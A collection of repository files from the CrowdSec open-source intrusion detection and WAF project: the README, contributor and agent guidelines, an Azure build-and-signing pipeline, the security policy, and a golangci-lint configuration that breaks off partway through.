## 1. Project Overview & Quickstart (crowdsecurity/crowdsec)

## File: README.md

<h1 align="center">CrowdSec: open-source IDS/IPS, WAF and bot detection</h1>

_CrowdSec is an open-source and participative security solution offering crowdsourced server detection and protection against malicious IPs. Detect and block with our Security Engine, contribute to the network, and enjoy our real-time community blocklist._



## Features & Advantages

### Versatile Security Engine

[CrowdSec Security Engine](https://docs.crowdsec.net/docs/next/intro/) is an all-in-one [IDS/IPS](https://docs.crowdsec.net/docs/next/log_processor/intro) and [WAF](https://docs.crowdsec.net/docs/next/appsec/intro).

It detects bad behaviors by analyzing log sources and HTTP requests, and allows active remediation thanks to the [Remediation Components](https://docs.crowdsec.net/u/bouncers/intro).

[Detection rules are available on our hub](https://hub.crowdsec.net) under MIT license.

### CrowdSec Community Blocklist

<a href="https://docs.crowdsec.net/docs/next/central_api/community_blocklist">

The "Community Blocklist" is a curated list of IP addresses identified as malicious by CrowdSec. The Security Engine proactively blocks the IP addresses of this blocklist, preventing malevolent IPs from reaching your systems.

[](https://docs.crowdsec.net/docs/next/central_api/community_blocklist)

</a>

### Console - Monitoring & Automation of your security stack

[](https://docs.crowdsec.net/u/console/intro)

### Multiple Platforms support

[](https://docs.crowdsec.net/)


## How CrowdSec compares

**To fail2ban** — CrowdSec reads the same log files and bans the same IPs, but
detection and remediation are decoupled: parse logs on one machine, block at the
firewall, reverse proxy or CDN on another. Attacks you report feed a community
blocklist, so an IP that hits one user gets blocked for everyone else before it
reaches them.

**To ModSecurity, Coraza and naxsi** — the AppSec component is a WAF built on
Coraza, so SecLang rules and the OWASP Core Rule Set load as-is. On top of that 
it adds a YAML rule format, and shares the IP reputation and remediation layer 
with the log-based engine.

**Bot and scraper detection** — AppSec can answer a suspicious request with a
JavaScript proof-of-work challenge at a tunable difficulty, which stops headless
browsers and scrapers while letting verified crawlers such as Googlebot through.

## Outnumbering hackers all together

By sharing the threat they faced, all users are protecting each other (hence the name Crowd-Security). Crowdsec is designed for modern infrastructures, with its "*Detect Here, Remedy There*" approach, letting you analyze logs coming from several sources in one place and block threats at various levels (applicative, system, infrastructural) of your stack.

CrowdSec ships by default with scenarios (brute force, port scan, web scan, etc.) adapted for most contexts, but you can easily extend it by picking more of them from the **[HUB](https://hub.crowdsec.net)**. It is also easy to adapt an existing one or create one yourself.

## Installation



[Follow our documentation to install CrowdSec in a few minutes on Linux, Windows, Docker, OpnSense, Kubernetes, and more.](https://docs.crowdsec.net/)


## Resources

 - [Console](https://app.crowdsec.net): Supercharge your CrowdSec setup with visualization, management capabilities, extra blocklists and premium features.
 - [Documentation](https://docs.crowdsec.net): Learn how to exploit your CrowdSec setup to deter more attacks.
 - [Discord](https://discord.gg/crowdsec): A question or a suggestion? This is the place.
 - [Hub](https://hub.crowdsec.net): Improve your stack protection, find the relevant remediation components for your infrastructure.
 - [Public Roadmap](https://roadmap.crowdsec.net/): Vote for your favorite features and submit ideas to influence what we build next.
 - [CrowdSec Academy](https://academy.crowdsec.net/): Learn and grow with our courses.
 - [Corporate Website](https://crowdsec.net): For everything else.

---

## File: AGENTS.md

# Working in this repository

For anyone opening a pull request against crowdsec: human, or LLM.
`CLAUDE.md` is a symlink to this file.

PRs that ignore the rules below are unlikely to be reviewed.

## Keep the change small

- One concern per PR. A bug fix and a refactor are two PRs.
- No drive-by reformatting, renaming, or restructuring.
- Don't bump dependencies. Dependabot owns `go.mod` and `go.sum`.
- If the diff is over ~400 lines, either split it, or say in the first line of the PR body why
  it can't be split.

## A human must have tested and reviewed this

Before you open the PR, a human must have:

- read the diff line by line, and
- run the change, or supervised and independently verified the testing an agent did.

Say which, in the PR body.

### Automated checks

- While iterating: `go test ./pkg/<what you changed>/...`
- Full suite: `make test`. Needs `gotestsum` installed, and `make localstack` running in
  another shell, or set `TEST_LOCAL_ONLY=1` to skip the tests that need containers.
- If you touched `pkg/exprhelpers`, use `make test`.
- Lint while iterating: `golangci-lint run ./pkg/<what you changed>/...`
- Before pushing: `make lint`. It lints linux, windows and freebsd, same as CI — so expect
  findings outside your change if it's platform-specific.
- Use golangci-lint v2.13, the version CI pins. Other versions report different things.
- Don't restructure working code to satisfy a linter that's switched off. Check the `disable:`
  list in `.golangci.yml` before "fixing" something it never complained about.

### Running it for real

This is how you can spin a simple test instance: 
```
make build                        # crowdsec, cscli and the notification plugins
scripts/test_env.sh -d ./tests    # working config tree in ./tests
cd ./tests
$EDITOR config/acquis.yaml        # point it at a log file you can write to
./crowdsec -c dev.yaml
```

`scripts/test_env.sh` copies the binaries out of the source tree, so `make build` has to run
first.

Look up the crowdSec-skill to deploy, configure and troubleshoot CrowdSec instances: https://www.skills.sh/crowdsecurity/crowdsec-skill/crowdsec 

## Tests

- New behaviour needs a test.
- A test must fail when the behaviour it covers breaks. No tautological tests: don't check that a
  mock returns what you told it to, that a setter sets, or that the code does what it says. More
  test lines is not better; a large suite that misses the obvious case is worse than a small one.
- Test the cases the change exists for, not just the happy path. Don't skip the hard one with a
  comment: a skipped test for the scenario that matters is a missing test.
- Refactoring or replacing an existing component: first cover its current user-visible behaviour
  with tests, and make them pass unchanged before and after. List every intended behaviour
  change in the PR body.
- `require` over `assert` — a failed `assert` keeps going and buries the real error.
- Table-driven, with `t.Run` subtests.
- Unit tests live next to the code. Functional tests are BATS under `test/bats/`; see
  `test/README.md`.

## Be concise

Humans read your output, keep verbosity to minimum.


**PR and issue bodies** — what changed, why, and how it was tested. Nothing else. No prose
restatement of the diff. Any issue or PR text should be under 5k characters.

Instead of:

> ## Summary
> This PR introduces a comprehensive enhancement to the syslog acquisition module...
> ## Motivation
> Currently, the existing implementation suffers from a limitation whereby...
> ## Implementation Details
> - ✅ Added a new `timeout` field to the configuration struct
> - ✅ Updated the parsing logic to respect the new field
> ## Testing Strategy
> Comprehensive unit tests have been added to ensure correctness...

Write:

> syslog acquisition hung forever when the remote stopped sending. Adds a configurable
> `timeout` (default 30s) and closes the connection when it expires.
>
> Tested: `go test ./pkg/acquisition/modules/syslog/...`, plus a local run against a syslog
> source that goes silent — connection now drops after 30s instead of hanging.

**Code comments** — explain why, not what. If the comment restates the line under it, delete
it. Keep them short and to the point, not prose: a comment should rarely be longer than the code
it describes. A 20-line comment over a 5-line function is noise.

**Review replies** — answer the question that was asked. Don't re-explain the PR, and don't
paste your agent's output into the thread. Read it, then reply in your own words, in a few
lines.

## Don't break these

Each one is a one-way door — users are already depending on it.

- **LAPI/CAPI payloads** — change `pkg/models/localapi_swagger.yaml` or
  `pkg/modelscapi/centralapi_swagger.yaml` and regenerate. Never edit the generated Go by hand.
- **Database schema** — your migration lands on existing user databases.
- **Config keys** in `pkg/csconfig` — renaming or removing one breaks upgrades.
- **`cscli -o json` and `-o raw`** — bouncers and scripts parse these. `-o human` is the only
  output you can freely change.

If you have to break one of these, say so explicitly at the top of the PR body.

## Commits and PRs

- Base branch is `master`.
- Commit titles are loose: `area: what changed` or `type(scope): what changed`, both fine.
- Never write `(#1234)` in a commit title. Squash-merge adds it. Yours will be wrong.
- One `kind/*` label and one `area/*` label.

---

## File: azure-pipelines.yml

trigger:
  tags:
    include:
      - "v*"
    exclude:
      - "v*freebsd"
  branches:
    exclude:
      - "*"
pr: none

pool:
  vmImage: windows-2022

stages:
  - stage: Build
    jobs:
      - job: Build
        displayName: "Build"
        steps:
          - task: GoTool@0
            displayName: "Install Go"
            inputs:
                version: '1.27.1'

          - pwsh: |
              choco install -y make
            displayName: "Install builds deps"
          - task: PowerShell@2
            inputs:
              targetType: 'inline'
              pwsh: true
              #we are not calling make windows_installer because we want to sign the binaries before they are added to the MSI
              script: |
                make build BUILD_RE2_WASM=1
      
          - pwsh: |
              $build_version=$env:BUILD_SOURCEBRANCHNAME
              #Override the version if it's set in the pipeline
              if ( ${env:USERBUILDVERSION} -ne "")
              {
                $build_version = ${env:USERBUILDVERSION}
              }
              if ($build_version.StartsWith("v"))
              {
                $build_version = $build_version.Substring(1)
              }
              if ($build_version.Contains("-")) 
              {
                $build_version = $build_version.Substring(0, $build_version.IndexOf("-"))
              }
              Write-Host  "##vso[task.setvariable variable=BuildVersion;isOutput=true]$build_version"
            displayName: GetCrowdsecVersion
            name: GetCrowdsecVersion
          - pwsh: |
              Get-ChildItem -Path .\cmd -Directory | ForEach-Object {
                $dirName = $_.Name
                Get-ChildItem -Path .\cmd\$dirName -File -Filter '*.exe' | ForEach-Object {
                  $fileName = $_.Name
                  $destDir = Join-Path $(Build.ArtifactStagingDirectory) cmd\$dirName
                  New-Item -ItemType Directory -Path $destDir -Force
                  Copy-Item -Path .\cmd\$dirName\$fileName -Destination $destDir
                }
              }
            displayName: "Copy binaries to staging directory"
          - task: PublishPipelineArtifact@1
            inputs:
              targetPath: '$(Build.ArtifactStagingDirectory)'
              artifact: 'unsigned_binaries'
            displayName: "Upload binaries artifact"

  - stage: Sign
    dependsOn: Build
    variables: 
      - group: 'FOSS Build Variables'
      - name: BuildVersion
        value: $[ stageDependencies.Build.Build.outputs['GetCrowdsecVersion.BuildVersion'] ]
    condition: succeeded()
    jobs:
      - job: Sign
        displayName: "Sign"
        steps:
          - download: current
            artifact: unsigned_binaries
            displayName: "Download binaries artifact"
          - task: CopyFiles@2
            inputs:
              SourceFolder: '$(Pipeline.Workspace)/unsigned_binaries'
              TargetFolder: '$(Build.SourcesDirectory)'
            displayName: "Copy binaries to workspace"
          - task: DotNetCoreCLI@2
            displayName: "Install SignTool tool"
            inputs:
              command: 'custom'
              custom: 'tool'
              arguments: install --global sign --version 0.9.0-beta.23127.3
          - task: AzureKeyVault@2
            displayName: "Get signing parameters"
            inputs:
              azureSubscription: "Azure subscription"
              KeyVaultName: "$(KeyVaultName)"
              SecretsFilter: "TenantId,ClientId,ClientSecret,Certificate,KeyVaultUrl"
          - pwsh: |
              sign code azure-key-vault `
              "**/*.exe" `
              --base-directory "$(Build.SourcesDirectory)/cmd/" `
              --publisher-name "CrowdSec" `
              --description "CrowdSec" `
              --description-url "https://github.com/crowdsecurity/crowdsec" `
              --azure-key-vault-tenant-id "$(TenantId)" `
              --azure-key-vault-client-id "$(ClientId)" `
              --azure-key-vault-client-secret "$(ClientSecret)" `
              --azure-key-vault-certificate "$(Certificate)" `
              --azure-key-vault-url "$(KeyVaultUrl)"
            displayName: "Sign crowdsec binaries"
          - pwsh: |
              .\build\windows\make_installer.ps1 -version '$(BuildVersion)'
            displayName: "Build Crowdsec MSI"
            name: BuildMSI
          - pwsh: |
              .\build\windows\make_chocolatey.ps1 -version '$(BuildVersion)'
            displayName: "Build Chocolatey nupkg"
          - pwsh: |
              sign code azure-key-vault `
              "*.msi" `
              --base-directory "$(Build.SourcesDirectory)" `
              --publisher-name "CrowdSec" `
              --description "CrowdSec" `
              --description-url "https://github.com/crowdsecurity/crowdsec" `
              --azure-key-vault-tenant-id "$(TenantId)" `
              --azure-key-vault-client-id "$(ClientId)" `
              --azure-key-vault-client-secret "$(ClientSecret)" `
              --azure-key-vault-certificate "$(Certificate)" `
              --azure-key-vault-url "$(KeyVaultUrl)"
            displayName: "Sign MSI package"
          - pwsh: |
              sign code azure-key-vault `
              "*.nupkg" `
              --base-directory "$(Build.SourcesDirectory)" `
              --publisher-name "CrowdSec" `
              --description "CrowdSec" `
              --description-url "https://github.com/crowdsecurity/crowdsec" `
              --azure-key-vault-tenant-id "$(TenantId)" `
              --azure-key-vault-client-id "$(ClientId)" `
              --azure-key-vault-client-secret "$(ClientSecret)" `
              --azure-key-vault-certificate "$(Certificate)" `
              --azure-key-vault-url "$(KeyVaultUrl)"
            displayName: "Sign nuget package"
          - task: PublishPipelineArtifact@1
            inputs:
              targetPath: '$(Build.SourcesDirectory)/crowdsec_$(BuildVersion).msi'
              artifact: 'signed_msi_package'
            displayName: "Upload signed MSI artifact"
          - task: PublishPipelineArtifact@1
            inputs:
              targetPath: '$(Build.SourcesDirectory)/crowdsec.$(BuildVersion).nupkg'
              artifact: 'signed_nuget_package'
            displayName: "Upload signed nuget artifact"
            
  - stage: Publish
    dependsOn: Sign
    jobs:
      - deployment: "Publish"
        displayName: "Publish to GitHub"
        environment: github
        strategy:
          runOnce:
            deploy:
              steps:
                - bash: |
                    tag=$(curl -H "Accept: application/vnd.github.v3+json"   https://api.github.com/repos/crowdsecurity/crowdsec/releases | jq -r '. | map(select(.prerelease==true)) | sort_by(.created_at) | reverse | .[0].tag_name')
                    echo "##vso[task.setvariable variable=LatestPreRelease;isOutput=true]$tag"
                  name: GetLatestPrelease
                - task: GitHubRelease@1
                  inputs:
                    gitHubConnection: "github.com_blotus"
                    repositoryName: '$(Build.Repository.Name)'
                    action: 'edit'
                    tag: '$(GetLatestPrelease.LatestPreRelease)'
                    assetUploadMode: 'replace'
                    addChangeLog: false
                    isPreRelease: true #we force prerelease because the pipeline is invoked on tag creation, which happens when we do a prerelease
                    assets: |
                      $(Pipeline.Workspace)/signed_msi_package/*.msi
                      $(Pipeline.Workspace)/signed_nuget_package/*.nupkg
                  condition: ne(variables['GetLatestPrelease.LatestPreRelease'], '')

---

## File: CONTRIBUTING.md

Please refer to [Contributing to CrowdSec](https://doc.crowdsec.net/docs/next/contributing/getting_started).

---

## File: SECURITY.md

# Security Policy

## Scope

This security policy applies to :
 - Crowdsec agent
 - Crowdsec Local API
 - Crowdsec bouncers **developed and maintained** by the Crowdsec team [1]

Reports regarding developments of community members that are not part of the crowdsecurity organization will be thoroughly investigated nonetheless.

[1] Projects developed and maintained by the Crowdsec team are under the **crowdsecurity** github organization. Bouncers developed by community members that are not part of the Crowdsec organization are explicitly excluded.

## Reporting a Vulnerability

We are extremely grateful to security researchers and users that report vulnerabilities regarding the Crowdsec project. All reports are thoroughly investigated by members of the Crowdsec organization.

You can email the private [security@crowdsec.net](mailto:security@crowdsec.net) list with the security details and the details expected for [all Crowdsec bug reports](https://github.com/crowdsecurity/crowdsec/blob/master/.github/ISSUE_TEMPLATE/bug_report.md).

You may encrypt your email to this list using the GPG key of the [Security team](https://doc.crowdsec.net/docs/next/contact_team). Encryption using GPG is NOT required to make a disclosure.

## When Should I Report a Vulnerability? 

 - You think you discovered a potential security vulnerability in Crowdsec
 - You are unsure how a vulnerability affects Crowdsec
 - You think you discovered a vulnerability in another project that Crowdsec depends on

For projects with their own vulnerability reporting and disclosure process, please report it directly there.

---

## File: .golangci.yml

version: "2"

# To lint the windows sources on a linux host, you need to cross-build and
# disable the C-based sqlite driver:
#
# GOOS=windows golangci-lint run --build-tags=windows,sqlite_modernc
#
# In the CI, the linters are run on both linux and windows hosts.

run:
  build-tags:
    - expr_debug

linters:
  default: all
  disable:
    #
    # Redundant
    #
    - cyclop    # revive
    - funlen    # revive
    - gocognit  # revive
    - gocyclo   # revive
    - lll       # revive
    - wsl       # wsl_v5

    # Disabled atm, likely to be enabled later

    # new checks in golangci-lint v2.13, to enable soon
    - canonicalheader
    - noctx
    - recvcheck

    - funcorder
    - exhaustive
    - errname      # Checks that sentinel errors are prefixed with the `Err` and error types are suffixed with the `Error`.
    - unparam      # Reports unused function parameters
    - errchkjson   # Checks types passed to the json encoding functions. Reports unsupported types and reports occasions, where the check for the returned error can be omitted.
    - unqueryvet   # Detects SELECT * in SQL queries and SQL builders, preventing performance issues and encouraging explicit column selection.

    # we allow named returns (to improve readability, in the function signatures)
    # but disallow implicit (or "naked") returns, to improve readability in the actual code.
    #
    # Implicit returns are still useful with deferred functions, in which case they can be //nolinted.
    # https://go.dev/wiki/CodeReviewComments#named-result-parameters
    - nonamedreturns

    - dogsled               # Checks assignments with too many blank identifiers (e.g. x, _, _, _, := f())
    - gosec                 # (gas): Inspects source code for security problems
    - musttag               # enforce field tags in (un)marshaled structs
    - promlinter            # Check Prometheus metrics naming via promlint
    - tagalign              # check that struct tags are well aligned
    - thelper               # thelper detects tests helpers which do not start with t.Helper() method.
    - wrapcheck             # Checks that errors returned from external packages are wrapped
    - embeddedstructfieldcheck

    - ireturn               # Accept Interfaces, Return Concrete Types
    - mnd                   # An analyzer to detect magic numbers.
    - nilnil                # Checks that there is no simultaneous return of `nil` error and an invalid value.
    - dupl                  # Tool for code clone detection
    - forcetypeassert       # finds forced type assertions
    - godox                 # Tool for detection of FIXME, TODO and other comment keywords
    - err113                # Go linter to check the errors handling expressions
    - paralleltest          # Detects missing usage of t.Parallel() method in your Go test
    - testpackage           # linter that makes you use a separate _test package
    - exhaustruct           # Checks if all structure fields are initialized
    - exhaustruct_v5        # same, new major version
    - gochecknoglobals      # Check that no global variables exist.
    - goconst               # Finds repeated strings that could be replaced by a constant
    - tagliatelle           # Checks the struct tags.
    - varnamelen            # checks that the length of a variable's name matches its scope
    - prealloc
    - noinlineerr
    - iotamixing
    - godoclint

    #
    # Formatting only, useful in IDE but should not be forced on CI
    #

    - godot      # Check if comments end in a period
    - nlreturn   # nlreturn checks for a new line before return and branch statements to increase code clarity
    - whitespace # Whitespace is a linter that checks for unnecessary newlines at the start and end of functions, if, for, etc.
    - wsl_v5     # add or remove empty lines

  settings:

    decorder:
      # Required order of `type`, `const`, `var` and `func` declarations inside a file.
      # Default: types before constants before variables before functions.
      dec-order:
        - type
        - const
        - var
        - func
      # If true, underscore vars (vars with "_" as the name) will be ignored at all checks.
      # Default: false (underscore vars are not ignored)
      ignore-underscore-vars: false
      # If true, order of declarations is not checked at all.
      # Default: true (disabled)
      disable-dec-order-check: true
      # If true, `init` func can be anywhere in file (does not have to be declared before all other functions).
      # Default: true (disabled)
      disable-init-func-first-check: true
      # If true, multiple global `type`, `const` and `var` declarations are allowed.
      # Default: true (disabled)
      disable-dec-num-check: true
      # If true, type declarations will be ignored for dec num check.
      # Default: false (type statements are not ignored)
      disable-type-dec-num-check: false
      # If true, const declarations will be ignored for dec num check.
      # Default: false (const statements are not ignored)
      disable-const-dec-num-check: false
      # If true, var declarations will be ignored for dec num check.
      # Default: false (var statements are not ignored)
      disable-var-dec-num-check: false

    depguard:
      rules:
        wrap:
          deny:
            - pkg: github.com/pkg/errors
              desc: errors.Wrap() is deprecated in favor of fmt.Errorf()
        yaml:
          files:
            - '!**/pkg/acquisition/modules/loki/timestamp_test.go'
            - '!**/pkg/appsec/appsec.go'
            - '!**/pkg/appsec/loader.go'
            - '!**/pkg/csplugin/broker.go'
            - '!**/pkg/leakybucket/bucketstore_test.go'
            - '!**/pkg/leakybucket/manager_load.go'
            - '!**/pkg/parser/node_config.go'
            - '!**/pkg/parser/node_subnodes_test.go'
            - '!**/pkg/parser/node_test.go'
            - '!**/pkg/parser/parsing_test.go'
            - '!**/pkg/parser/stage.go'
          deny:
            - pkg: gopkg.in/yaml.v2
              desc: yaml.v2 is deprecated for new code in favor of yaml.v3

    embeddedstructfieldcheck:
      empty-line: false
      forbid-mutex: true

    errcheck:
      # Report about not checking of errors in type assertions: `a := b.(MyStruct)`.
      # Such cases aren't reported by default.
      check-type-assertions: false
      # List of functions to exclude from checking, where each entry is a single function to exclude.
      # See https://github.com/kisielk/errcheck#excluding-functions for details.
      exclude-functions:
        - (*bytes.Buffer).ReadFrom          # TODO
        - golang.org/x/sys/windows.FreeLibrary
        - golang.org/x/sys/windows.CloseHandle
        - golang.org/x/sys/windows.ResetEvent
        - (*golang.org/x/sys/windows/svc/eventlog.Log).Info
        - (*golang.org/x/sys/windows/svc/mgr.Mgr).Disconnect

        - (github.com/bluele/gcache.Cache).Set
        - (github.com/gin-gonic/gin.ResponseWriter).WriteString
        - (*github.com/segmentio/kafka-go.Reader).SetOffsetAt

        - (*github.com/crowdsecurity/crowdsec/pkg/appsec.ReqDumpFilter).FilterArgs
        - (*github.com/crowdsecurity/crowdsec/pkg/appsec.ReqDumpFilter).FilterBody
        - (*github.com/crowdsecurity/crowdsec/pkg/appsec.ReqDumpFilter).FilterHeaders
        - (*github.com/crowdsecurity/crowdsec/pkg/longpollclient.LongPollClient).Stop

    errorlint:
      # Check whether fmt.Errorf uses the %w verb for formatting errors.
      # See the https://github.com/polyfloyd/go-errorlint for caveats.
      # Default: true
      errorf: false
      errorf-multi: true
      asserts: true
      comparison: true

    exhaustive:
      # Program elements to check for exhaustiveness.
      # Default: [ switch ]
      check:
        - switch
        - map
      # Presence of "default" case in switch statements satisfies exhaustiveness,
      # even if all enum members are not listed.
      # Default: false
      default-signifies-exhaustive: true
      # Enum members matching the supplied regex do not have to be listed in
      # switch statements to satisfy exhaustiveness.
      # Default: ""
      ignore-enum-members: "Example.+"
      # Enum types matching the supplied regex do not have to be listed in
      # switch statements to satisfy exhaustiveness.
      # Default: ""
      ignore-enum-types: "Example.+"
      # Consider enums only in package scopes, not in inner scopes.
      # Default: false
      package-scope-only: true
      # Only run exhaustive check on switches with "//exhaustive:enforce" comment.
      # Default: false
      explicit-exhaustive-switch: true
      # Only run exhaustive check on map literals with "//exhaustive:enforce" comment.
      # Default: false
      explicit-exhaustive-map: true
      # Switch statement requires default case even if exhaustive.
      # Default: false
      default-case-required: true

    forbidigo:
      forbid:
      # prefer fprint to print calls, keep the latter for debugging
      # so they're not comitted by mistake.
      - pattern: ^print(ln)?$
      - pattern: ^fmt\.Print.*$
        msg: use the Fprint equivalent in production code

    gocritic:
      enable-all: true
      disabled-checks:
        - paramTypeCombine
        - hugeParam
        - commentedOutCode
        - commentedOutImport
        - unnamedResult
        - sloppyReassign
        - appendCombine
        - commentFormatting
        - whyNoLint
        - equalFold               #
        - unnecessaryBlock        #
        - tooManyResultsChecker
        - docStub
        - preferFprint
        - importShadow

      settings:
        ifElseChain:
          minThreshold: 4

    gomoddirectives:
      replace-allow-list:
        - golang.org/x/time
        - github.com/corazawaf/coraza/v3

    govet:
      disable:
        - fieldalignment
        - inline  # new in v2.13, to enable soon
      enable-all: true

    iface:
      enable:
        # Identifies interfaces in the same package that have identical method sets.
        - identical
        # Identifies interfaces that are not used anywhere in the same package where the interface is defined.
        # - unused
        # Identifies functions that return interfaces, but the actual returned value is always a single concrete implementation.
        - opaque
        # Identifies interfaces that are not exported but are used in exported functions or methods.
        # - unexported

    interfacebloat:
      max: 7

    maintidx:
      # raise this after refactoring
      under: 21

    misspell:
      locale: US

    modernize:
      disable:
        - any
        # embedlit, errorsastype, slicesbackward and stringscut are new in v2.13, to enable soon
        - embedlit
        - errorsastype
        - forvar
        - omitzero
        - slicesbackward
        - stringsbuilder
        - stringscut
        - waitgroupgo

    nestif:
      # lower this after refactoring
      min-complexity: 15

    nlreturn:
      block-size: 6

    nolintlint:
      # don't require an explanation for nolint directives
      require-explanation: false
      # don't require nolint directives to be specific about which linter is being skipped
      require-specific: true
      # report any unused nolint directives
      allow-unused: false

    perfsprint:
      # Enable/disable optimization of integer formatting.
      # Default: true
      integer-format: false
      # Optimizes even if it requires an int or uint type cast.
      # Default: true
      int-conversion: false
      # Enable/disable optimization of error formatting.
      # Default: true
      error-format: true
      # Optimizes into `err.Error()` even if it is only equivalent for non-nil errors.
      # Default: false
      err-error: true
      # Optimizes `fmt.Errorf`.
      # Default: true
      errorf: true
      # Enable/disable optimization of string formatting.
      # Default: true
      string-format: false
      # Optimizes `fmt.Sprintf` with only one argument.
      # Default: true
      sprintf1: true
      # Optimizes into strings concatenation.
      # Default: true
      strconcat: false
      # Enable/disable optimization of bool formatting.
      # Default: true
      bool-format: true
      # Enable/disable optimization of hex formatting.
      # Default: true
      hex-format: false
      # Enable/disable optimization of concat loop.
      # Default: true
      concat-loop: false
      # Optimization of `concat-loop` even with other operations.
      # Default: false
      loop-other-ops: false

    recvcheck:
      # Disables the built-in method exclusions:
      # - `MarshalText`
      # - `MarshalJSON`
      # - `MarshalYAML`
      # - `MarshalXML`
      # - `MarshalBinary`
      # - `GobEncode`
      disable-builtin: false
      # User-defined method exclusions.
      # The format is `struct_name.method_name` (ex: `Foo.MethodName`).
      # A wildcard `*` can use as a struct name (ex: `*.MethodName`).
      exclusions:
        - "HCLogAdapter.SetLevel"
        # Unmarshal methods must have a pointer receiver by nature; getters on
        # the same type legitimately use value receivers (same rationale as the
        # built-in Marshal* exclusions, which don't cover Unmarshal*).
        - "*.UnmarshalJSON"

    revive:
      severity: error
      enable-all-rules: true
      rules:
        - name: argument-limit
          arguments: [9]
        - name: add-constant
          disabled: true
        - name: cognitive-complexity
          arguments:
            # lower this after refactoring
            - 73
        - name: comment-spacings
          disabled: true
        - name: confusing-results
          disabled: true
        - name: cyclomatic
          arguments:
            # lower this after refactoring
            - 36
        - name: empty-block
          disabled: true
        - name: empty-lines
          disabled: true
        - name: enforce-switch-style
          disabled: true
        - name: error-naming
          disabled: true
        - name: exported
          disabled: true
        - name: flag-parameter
          disabled: true
        - name: function-result-limit
          arguments:
            - 6
        - name: function-length
          arguments:
            # lower this after refactoring
            - 86
            - 174
        - name: get-return
          disabled: true
        - name: identical-ifelseif-branches
          disabled: true
        - name: identical-switch-branches
          disabled: true
        - name: import-alias-naming
          disabled: true
        - name: import-shadowing
          disabled: true
        - name: increment-decrement
          disabled: true
        - name: line-length-limit
          arguments:
            # lower this after refactoring
            - 219
        - name: max-control-nesting
          arguments:
            # lower this after refactoring
            - 5
        - name: max-public-structs
          disabled: true
        - name: nested-structs
          disabled: true
        - name: package-comments
          disabled: true
        # new in v2.13, to enable soon
        - name: package-naming
          disabled: true
        - name: package-directory-mismatch
          disabled: true
        - name: redundant-import-alias
          disabled: true
        - name: redundant-test-main-exit
          disabled: true
        - name: var-naming
          disabled: true
        - name: unchecked-type-assertion
          disabled: true
        - name: unexported-naming
          disabled: true
        - name: unexported-return
          disabled: true
        - name: unhandled-error
          arguments:
            - fmt.Print
            - fmt.Printf
            - fmt.Println
          disabled: true
        - name: unnecessary-stmt
          disabled: true
        - name: unsecure-url-scheme
          disabled: true
        - name: unused-parameter
          disabled: true
        - name: use-any
          disabled: true
        # new in v2.13, to enable soon
        - name: use-slices-sort
          disabled: true
        - name: use-waitgroup-go
          disabled: true
        - name: useless-break
          disabled: true

    staticcheck:
      checks:
        - all
        - -ST1003  # should not use underscores in Go names
        - -ST1005  # error strings should not be capitalized
        - -ST1012  # error var ... should have name of the form ...
        - -QF1003  # could use tagged switch on ...
        - -QF1012  # QF1012: Use fmt.Fprintf(...) instead of ...
        - -SA4023  # comparison is always true; new in v2.13, to enable soon

    unused:
      # Mark all struct fields that have been written to as used.
      # Default: true
      field-writes-are-uses: false
      # Treat IncDec statement (e.g. `i++` or `i--`) as both read and write operation instead of just write.
      # Default: false
      post-statements-are-reads: false
      # Mark all exported identifiers as used.
      # Default: true
      # exported-is-used: false
      # Mark all exported fields as used.
      # default: true
      exported-fields-are-used: false
      # Mark all function parameters as used.
      # default: true
      parameters-are-used: true
      # Mark all local variables as used.
      # default: true
      local-variables-are-used: false
      # Mark all identifiers inside generated files as used.
      # Default: true
      generated-is-used: false

    usestdlibvars:
      # Suggest the use of http.MethodXX.
      # Default: true
      http-method: true
      # Suggest the use of http.StatusXX.
      # Default: true
      http-status-code: true
      # Suggest the use of time.Month in time.Date.
      # Default: false
      time-date-month: false
      # Suggest the use of time.Weekday.String().
      # Default: true
      time-weekday: false
      # Suggest the use of time.Month.String().
      # Default: false
      time-month: false
      # Suggest the use of time.Layout.
      # Default: false
      time-layout: false
      # Suggest the use of crypto.Hash.String().
      # Default: false
      crypto-hash: true
      # Suggest the use of rpc.DefaultXXPath.
      # Default: false
      default-rpc-path: true
      # Suggest the use of sql.LevelXX.String().
      # Default: false
      sql-isolation-level: true
      # Suggest the use of tls.SignatureScheme.String().
      # Default: false
      tls-signature-scheme: true
      # Suggest the use of constant.Kind.String().
      # Default: false
      constant-kind: true

    usetesting:
      os-temp-dir: false
      context-background: true
      context-todo: true

  exclusions:
    presets:
      - comments
      - common-false-positives
      - legacy
      - std-error-handling
    rules:

      # `err` is often shadowed, we may continue to do it

      - linters:
          - govet
        text: 'shadow: declaration of "(err|ctx)" shadows declaration'

      - linters:
          - revive
        path: pkg/leakybucket/manager_load.go
        text: 'confusing-naming: Field ''.*'' differs only by capitalization to other field in the struct type BucketFactory'

      - linters:
          - revive
        path: pkg/exprhelpers/helpers.go
        text: 'confusing-naming: Method ''flatten'' differs only by capitalization to function ''Flatten'' in the same source file'

      - linters:
          - revive
        path: pkg/appsec/query_utils.go
        text: 'confusing-naming: Method ''parseQuery'' differs only by capitalization to function ''ParseQuery'' in the same source file'

      - linters:
          - revive
        path: pkg/acquisition/modules/loki/internal/lokiclient/loki_client.go
        text: 'confusing-naming: Method ''QueryRange'' differs only by capitalization to method ''queryRange'' in the same source file'

      - linters:
          - revive
        path: pkg/acquisition/modules/victorialogs/internal/vlclient/vl_client.go
        text: 'confusing-naming: Method ''QueryRange'' differs only by capitalization to method ''queryRange'' in the same source file'

      # pkg/dnscache lookups are deliberately detached from the request
      # context: their results are shared across requests (singleflight +
      # cache), so one caller's cancellation must not abort the lookup for
      # the others; a fixed timeout bounds them instead.
      - linters:
          - contextcheck
        text: '(lookupPTR|lookupForward)` should pass the context parameter'

      # tolerate complex functions in tests for now
      - linters:
          - maintidx
        path: (.+)_test.go

      # tolerate print in tests for now
      - linters:
          - forbidigo
        path: (.+)_test.go
        text: 'use the Fprint equivalent in production code'

      # tolerate long functions in tests
      - linters:
          - revive
        path: (.+)_test.go
        text: 'function-length: .*'

      # tolerate long lines in tests
      - linters:
          - revive
        path: (.+)_test.go
        text: 'line-length-limit: .*'

      # we use t,ctx instead of ctx,t in tests
      - linters:
          - revive
        path: (.+)_test.go
        text: 'context-as-argument: context.Context should be the first parameter of a function'

      # tolerate deep exit in cobra's OnInitialize, for now
      - linters:
          - revive
        path: cmd/crowdsec-cli/main.go
        text: 'deep-exit: .*'

      - linters:
          - revive
        path: cmd/crowdsec/crowdsec.go
        text: 'deep-exit: .*'

      - linters:
          - revive
        path: cmd/crowdsec/api.go
        text: 'deep-exit: .*'

      - linters:
          - revive
